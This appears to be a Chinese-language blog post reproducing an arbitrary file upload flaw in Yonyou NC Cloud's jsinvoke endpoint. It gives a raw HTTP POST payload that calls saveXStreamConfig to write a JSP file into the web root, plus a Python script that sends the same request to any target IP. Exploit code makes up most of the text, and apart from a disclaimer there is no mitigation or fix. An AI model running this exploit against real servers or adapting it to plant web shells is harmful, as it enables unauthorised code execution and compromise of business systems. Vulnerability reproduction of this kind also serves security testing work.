用友 NC Cloud jsinvoke 任意文件上传

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

一、漏洞概述

用友 NC Cloud 中存在 jsinvoke 接口的任意文件上传漏洞,攻击者可以通过利用此漏洞向系统上传任意恶意文件。

二、漏洞复现

poc

POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded;charset=UTF-8

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
"parameterTypes":["java.lang.Object","java.lang.String"],
"parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}

用友 NC Cloud jsinvoke 任意文件上传_第1张图片

访问路径

用友 NC Cloud jsinvoke 任意文件上传_第2张图片

三、POC.py

用友 NC Cloud jsinvoke 任意文件上传_第3张图片

import requests

def verify(ip):

    url = f'{ip}/uapjs/jsinvoke/?action=invoke'

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
    }

    payload = '''
    {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig",
    "parameterTypes":["java.lang.Object","java.lang.String"],
    "parameters":["123456","webapps/nc_web/2YIOmzdcUDhwMYTLk65p3cgxvxy.jsp"]}
    '''

    try:
        response = requests.post(url, headers=headers, data=payload)
        # 验证成功输出相关信息
        if response.status_code == 200 :
            print(f"{ip}存在用友 NC Cloud jsinvoke 任意文件上传漏洞!!!")
        else:
            print('漏洞不存在。')

    except Exception as e:
        pass

if __name__ == '__main__':
    self = input('请输入目标主机IP地址:')
    verify(self)

你可能感兴趣的:(漏洞复现,web安全,网络安全,漏洞复现,用友)